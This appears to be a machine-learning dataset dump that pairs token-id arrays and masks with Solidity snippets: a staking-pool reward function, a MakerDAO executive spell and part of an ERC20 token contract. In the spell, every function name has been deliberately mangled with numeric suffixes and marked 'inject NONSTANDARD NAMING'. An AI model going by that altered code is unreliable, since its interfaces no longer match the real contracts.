[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3273, 273, 315, 6552, 14432, 27573, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x0E21b1fD7D6D5478F0d1b5eBf85384903E865562/sources/RPS.sol
Mapping from currentSeason to tokenid to approved player to spend the cards
mapping(uint256 => mapping(uint256 => address)) public approval;
8,510,440
[ 1, 3233, 628, 783, 1761, 2753, 358, 1147, 350, 358, 20412, 7291, 358, 17571, 326, 18122, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 5034, 516, 2874, 12, 11890, 5034, 516, 1758, 3719, 1071, 23556, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// hevm: flattened sources of src/DssSpell.sol pragma solidity =0.5.12 >0.4.13 >=0.4.23 >=0.5.12; // https://github.com/dapphub/ds-pause interface DSPauseAbstract { function SETOWNER590(address) external; //inject NONSTANDARD NAMING function SETAUTHORITY631(address) external; //inject NONSTANDARD NAMING function SETDELAY362(uint256) external; //inject NONSTANDARD NAMING function PLANS667(bytes32) external view returns (bool); //inject NONSTANDARD NAMING function PROXY384() external view returns (address); //inject NONSTANDARD NAMING function DELAY460() external view returns (uint256); //inject NONSTANDARD NAMING function PLOT131(address, bytes32, bytes calldata, uint256) external; //inject NONSTANDARD NAMING function DROP945(address, bytes32, bytes calldata, uint256) external; //inject NONSTANDARD NAMING function EXEC84(address, bytes32, bytes calldata, uint256) external returns (bytes memory); //inject NONSTANDARD NAMING } // https://github.com/makerdao/dss/blob/master/src/jug.sol interface JugAbstract { function WARDS9(address) external view returns (uint256); //inject NONSTANDARD NAMING function RELY664(address) external; //inject NONSTANDARD NAMING function DENY283(address) external; //inject NONSTANDARD NAMING function ILKS778(bytes32) external view returns (uint256, uint256); //inject NONSTANDARD NAMING function VAT142() external view returns (address); //inject NONSTANDARD NAMING function VOW391() external view returns (address); //inject NONSTANDARD NAMING function BASE726() external view returns (address); //inject NONSTANDARD NAMING function INIT893(bytes32) external; //inject NONSTANDARD NAMING function FILE40(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING function FILE40(bytes32, uint256) external; //inject NONSTANDARD NAMING function FILE40(bytes32, address) external; //inject NONSTANDARD NAMING function DRIP219(bytes32) external returns (uint256); //inject NONSTANDARD NAMING } // https://github.com/makerdao/median interface MedianAbstract { function WARDS9(address) external view returns (uint256); //inject NONSTANDARD NAMING function RELY664(address) external; //inject NONSTANDARD NAMING function DENY283(address) external; //inject NONSTANDARD NAMING function AGE221() external view returns (uint32); //inject NONSTANDARD NAMING function WAT475() external view returns (bytes32); //inject NONSTANDARD NAMING function BAR501() external view returns (uint256); //inject NONSTANDARD NAMING function ORCL736(address) external view returns (uint256); //inject NONSTANDARD NAMING function BUD134(address) external view returns (uint256); //inject NONSTANDARD NAMING function SLOT890(uint8) external view returns (address); //inject NONSTANDARD NAMING function READ871() external view returns (uint256); //inject NONSTANDARD NAMING function PEEK743() external view returns (uint256, bool); //inject NONSTANDARD NAMING function LIFT208(address[] calldata) external; //inject NONSTANDARD NAMING function DROP945(address[] calldata) external; //inject NONSTANDARD NAMING function SETBAR416(uint256) external; //inject NONSTANDARD NAMING function KISS951(address) external; //inject NONSTANDARD NAMING function DISS455(address) external; //inject NONSTANDARD NAMING function KISS951(address[] calldata) external; //inject NONSTANDARD NAMING function DISS455(address[] calldata) external; //inject NONSTANDARD NAMING function POKE311(uint256[] calldata, uint256[] calldata, uint8[] calldata, bytes32[] calldata, bytes32[] calldata) external; //inject NONSTANDARD NAMING } // https://github.com/makerdao/dss/blob/master/src/spot.sol interface SpotAbstract { function WARDS9(address) external view returns (uint256); //inject NONSTANDARD NAMING function RELY664(address) external; //inject NONSTANDARD NAMING function DENY283(address) external; //inject NONSTANDARD NAMING function ILKS778(bytes32) external view returns (address, uint256); //inject NONSTANDARD NAMING function VAT142() external view returns (address); //inject NONSTANDARD NAMING function PAR826() external view returns (uint256); //inject NONSTANDARD NAMING function LIVE534() external view returns (uint256); //inject NONSTANDARD NAMING function FILE40(bytes32, bytes32, address) external; //inject NONSTANDARD NAMING function FILE40(bytes32, uint256) external; //inject NONSTANDARD NAMING function FILE40(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING function POKE311(bytes32) external; //inject NONSTANDARD NAMING function CAGE3() external; //inject NONSTANDARD NAMING } // https://github.com/makerdao/dss/blob/master/src/vat.sol interface VatAbstract { function WARDS9(address) external view returns (uint256); //inject NONSTANDARD NAMING function RELY664(address) external; //inject NONSTANDARD NAMING function DENY283(address) external; //inject NONSTANDARD NAMING function CAN343(address, address) external view returns (uint256); //inject NONSTANDARD NAMING function HOPE769(address) external; //inject NONSTANDARD NAMING function NOPE162(address) external; //inject NONSTANDARD NAMING function ILKS778(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256); //inject NONSTANDARD NAMING function URNS690(bytes32, address) external view returns (uint256, uint256); //inject NONSTANDARD NAMING function GEM16(bytes32, address) external view returns (uint256); //inject NONSTANDARD NAMING function DAI867(address) external view returns (uint256); //inject NONSTANDARD NAMING function SIN509(address) external view returns (uint256); //inject NONSTANDARD NAMING function DEBT851() external view returns (uint256); //inject NONSTANDARD NAMING function VICE72() external view returns (uint256); //inject NONSTANDARD NAMING function LINE452() external view returns (uint256); //inject NONSTANDARD NAMING function LIVE534() external view returns (uint256); //inject NONSTANDARD NAMING function INIT893(bytes32) external; //inject NONSTANDARD NAMING function FILE40(bytes32, uint256) external; //inject NONSTANDARD NAMING function FILE40(bytes32, bytes32, uint256) external; //inject NONSTANDARD NAMING function CAGE3() external; //inject NONSTANDARD NAMING function SLIP467(bytes32, address, int256) external; //inject NONSTANDARD NAMING function FLUX370(bytes32, address, address, uint256) external; //inject NONSTANDARD NAMING function MOVE182(address, address, uint256) external; //inject NONSTANDARD NAMING function FROB273(bytes32, address, address, address, int256, int256) external; //inject NONSTANDARD NAMING function FORK393(bytes32, address, address, int256, int256) external; //inject NONSTANDARD NAMING function GRAB4(bytes32, address, address, address, int256, int256) external; //inject NONSTANDARD NAMING function HEAL121(uint256) external; //inject NONSTANDARD NAMING function SUCK524(address, address, uint256) external; //inject NONSTANDARD NAMING function FOLD129(bytes32, address, int256) external; //inject NONSTANDARD NAMING } // Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. // TODO: add to dss-interfaces? interface GemJoin6Like { function SETIMPLEMENTATION850(address, uint256) external; //inject NONSTANDARD NAMING } contract SpellAction { // MAINNET ADDRESSES // // The contracts in this list should correspond to MCD core contracts, verify // against the current release list at: // https://changelog.makerdao.com/releases/mainnet/1.1.1/contracts.json address constant mcd_join_tusd_a973 = 0x4454aF7C8bb9463203b66C816220D41ED7837f44; //inject NONSTANDARD NAMING address constant mcd_jug931 = 0x19c0976f590D67707E62397C87829d896Dc0f1F1; //inject NONSTANDARD NAMING address constant mcd_spot639 = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3; //inject NONSTANDARD NAMING address constant mcd_vat427 = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B; //inject NONSTANDARD NAMING address constant tusd_impl_new757 = 0x7a9701453249e84fd0D5AfE5951e9cBe9ed2E90f; //inject NONSTANDARD NAMING address constant median_manausd649 = 0x681c4F8f69cF68852BAd092086ffEaB31F5B812c; //inject NONSTANDARD NAMING address constant gitcoin_feed_old89 = 0xA4188B523EccECFbAC49855eB52eA0b55c4d56dd; //inject NONSTANDARD NAMING address constant gitcoin_feed_new879 = 0x77EB6CF8d732fe4D92c427fCdd83142DB3B742f7; //inject NONSTANDARD NAMING // Decimals & precision uint256 constant thousand409 = 10 ** 3; //inject NONSTANDARD NAMING uint256 constant million93 = 10 ** 6; //inject NONSTANDARD NAMING uint256 constant wad294 = 10 ** 18; //inject NONSTANDARD NAMING uint256 constant ray683 = 10 ** 27; //inject NONSTANDARD NAMING uint256 constant rad264 = 10 ** 45; //inject NONSTANDARD NAMING // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // uint256 constant four_pct_rate701 = 1000000001243680656318820312; //inject NONSTANDARD NAMING uint256 constant eight_pct_rate301 = 1000000002440418608258400030; //inject NONSTANDARD NAMING uint256 constant twelve_pct_rate857 = 1000000003593629043335673582; //inject NONSTANDARD NAMING uint256 constant fifty_pct_rate325 = 1000000012857214317438491659; //inject NONSTANDARD NAMING function EXECUTE44() external { //inject NONSTANDARD NAMING // Set the global debt ceiling to 1,196,000,000 // 948 (current DC) + 200 (USDC-A increase) + 48 (TUSD-A increase) VatAbstract(mcd_vat427).FILE40("Line", 1196 * million93 * rad264); // Set the USDC-A debt ceiling // // Existing debt ceiling: 200 million // New debt ceiling: 400 million VatAbstract(mcd_vat427).FILE40("USDC-A", "line", 400 * million93 * rad264); // Set the TUSD-A debt ceiling // // Existing debt ceiling: 2 million // New debt ceiling: 50 million VatAbstract(mcd_vat427).FILE40("TUSD-A", "line", 50 * million93 * rad264); // Set USDC-A collateralization ratio // // Existing ratio: 103% // New ratio: 101% SpotAbstract(mcd_spot639).FILE40("USDC-A", "mat", 101 * ray683 / 100); // 101% coll. ratio SpotAbstract(mcd_spot639).POKE311("USDC-A"); // Set TUSD-A collateralization ratio // // Existing ratio: 120% // New ratio: 101% SpotAbstract(mcd_spot639).FILE40("TUSD-A", "mat", 101 * ray683 / 100); // 101% coll. ratio SpotAbstract(mcd_spot639).POKE311("TUSD-A"); // Set PAXUSD-A collateralization ratio // // Existing ratio: 103% // New ratio: 101% SpotAbstract(mcd_spot639).FILE40("PAXUSD-A", "mat", 101 * ray683 / 100); // 101% coll. ratio SpotAbstract(mcd_spot639).POKE311("PAXUSD-A"); // Set the BAT-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("BAT-A"); // drip right before JugAbstract(mcd_jug931).FILE40("BAT-A", "duty", four_pct_rate701); // Set the USDC-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("USDC-A"); // drip right before JugAbstract(mcd_jug931).FILE40("USDC-A", "duty", four_pct_rate701); // Set the USDC-B stability fee // // Previous: 48% // New: 50% JugAbstract(mcd_jug931).DRIP219("USDC-B"); // drip right before JugAbstract(mcd_jug931).FILE40("USDC-B", "duty", fifty_pct_rate325); // Set the WBTC-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("WBTC-A"); // drip right before JugAbstract(mcd_jug931).FILE40("WBTC-A", "duty", four_pct_rate701); // Set the TUSD-A stability fee // // Previous: 0% // New: 4% JugAbstract(mcd_jug931).DRIP219("TUSD-A"); // drip right before JugAbstract(mcd_jug931).FILE40("TUSD-A", "duty", four_pct_rate701); // Set the KNC-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("KNC-A"); // drip right before JugAbstract(mcd_jug931).FILE40("KNC-A", "duty", four_pct_rate701); // Set the ZRX-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("ZRX-A"); // drip right before JugAbstract(mcd_jug931).FILE40("ZRX-A", "duty", four_pct_rate701); // Set the MANA-A stability fee // // Previous: 10% // New: 12% JugAbstract(mcd_jug931).DRIP219("MANA-A"); // drip right before JugAbstract(mcd_jug931).FILE40("MANA-A", "duty", twelve_pct_rate857); // Set the USDT-A stability fee // // Previous: 6% // New: 8% JugAbstract(mcd_jug931).DRIP219("USDT-A"); // drip right before JugAbstract(mcd_jug931).FILE40("USDT-A", "duty", eight_pct_rate301); // Set the PAXUSD-A stability fee // // Previous: 2% // New: 4% JugAbstract(mcd_jug931).DRIP219("PAXUSD-A"); // drip right before JugAbstract(mcd_jug931).FILE40("PAXUSD-A", "duty", four_pct_rate701); // Whitelist new TUSD implementation GemJoin6Like(mcd_join_tusd_a973).SETIMPLEMENTATION850(tusd_impl_new757, 1); // Replace Gitcoin feed key on MANAUSD Oracle address[] memory drops = new address[](1); drops[0] = gitcoin_feed_old89; MedianAbstract(median_manausd649).DROP945(drops); address[] memory lifts = new address[](1); lifts[0] = gitcoin_feed_new879; MedianAbstract(median_manausd649).LIFT208(lifts); } } contract DssSpell { DSPauseAbstract public pause = DSPauseAbstract(0xbE286431454714F511008713973d3B053A2d38f3); address public action; bytes32 public tag; uint256 public eta; bytes public sig; uint256 public expiration; bool public done; // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/9fe29a1704a7885305774bbb31ab04fedd363259/governance/votes/Executive%20vote%20-%20September%2018%2C%202020.md -q -O - 2>/dev/null)" string constant public description372 = //inject NONSTANDARD NAMING "2020-09-18 MakerDAO Executive Spell | Hash: 0xe942f72e80295685e39e303f8979560523beae8569daccfcea2f000b14a14abf"; constructor() public { sig = abi.encodeWithSignature("execute()"); action = address(new SpellAction()); bytes32 _tag; address _action = action; assembly { _tag := extcodehash(_action) } tag = _tag; expiration = now + 30 days; } // modifier officeHours { // uint day = (now / 1 days + 3) % 7; // require(day < 5, "Can only be cast on a weekday"); // uint hour = now / 1 hours % 24; // require(hour >= 14 && hour < 21, "Outside office hours"); // _; // } function SCHEDULE830() public { //inject NONSTANDARD NAMING require(now <= expiration, "This contract has expired"); require(eta == 0, "This spell has already been scheduled"); eta = now + DSPauseAbstract(pause).DELAY460(); pause.PLOT131(action, tag, sig, eta); } function CAST998() public { //inject NONSTANDARD NAMING require(!done, "spell-already-cast"); done = true; pause.EXEC84(action, tag, sig, eta); } }
inject NONSTANDARD NAMING
function SUCK524(address, address, uint256) external;
15,831,575
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11726, 3507, 25, 3247, 12, 2867, 16, 1758, 16, 2254, 5034, 13, 3903, 31, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/42/0x61197C3c13dEf79fE1bc87cB728AC4c036070696/sources/Master.sol
Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 marReward = multiplier.mul(marPerBlock).mul(pool.allocPoint).div(totalAllocPoint); mar.mint(address(this), marReward); pool.accMarPerShare = pool.accMarPerShare.add(marReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; }
3,445,997
[ 1, 1891, 19890, 3152, 434, 326, 864, 2845, 358, 506, 731, 17, 869, 17, 712, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 2864, 12, 11890, 5034, 389, 6610, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 309, 261, 2629, 18, 2696, 1648, 2845, 18, 2722, 17631, 1060, 1768, 13, 288, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 12423, 3088, 1283, 273, 2845, 18, 9953, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 9953, 3088, 1283, 422, 374, 13, 288, 203, 5411, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 5411, 327, 31, 203, 3639, 289, 203, 3639, 2254, 5034, 15027, 273, 31863, 5742, 12, 6011, 18, 2722, 17631, 1060, 1768, 16, 1203, 18, 2696, 1769, 203, 3639, 2254, 5034, 21282, 17631, 1060, 273, 15027, 18, 16411, 12, 3684, 2173, 1768, 2934, 16411, 12, 6011, 18, 9853, 2148, 2934, 2892, 12, 4963, 8763, 2148, 1769, 203, 3639, 21282, 18, 81, 474, 12, 2867, 12, 2211, 3631, 21282, 17631, 1060, 1769, 203, 3639, 2845, 18, 8981, 49, 297, 2173, 9535, 273, 2845, 18, 8981, 49, 297, 2173, 9535, 18, 1289, 12, 3684, 17631, 1060, 18, 16411, 12, 21, 73, 2138, 2934, 2892, 12, 9953, 3088, 1283, 10019, 203, 3639, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x647f24fc14b75335adf97eb9792ce004471bf35a //Contract name: MitToken //Balance: 0 Ether //Verification Date: 5/24/2018 //Transacion Count: 31 // CODE STARTS HERE pragma solidity ^0.4.18; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert_ex(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert_ex(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert_ex(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert_ex(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert_ex(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function assert_ex(bool assert_exion) internal pure{ if (!assert_exion) { revert(); } } } contract Owned { address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract ERC20Interface { using SafeMath for uint; uint public _totalSupply; string public name; string public symbol; uint8 public decimals; mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; event Transfer(address indexed from, address indexed to, uint value, bytes data); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed _owner, address indexed _spender, uint _value); function totalSupply() constant returns (uint256 totalSupply) { totalSupply = _totalSupply; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } /** * Set allowed for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint _value) public returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowed to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) { revert(); } allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } /** * Atomic increment of approved spending * * Works around 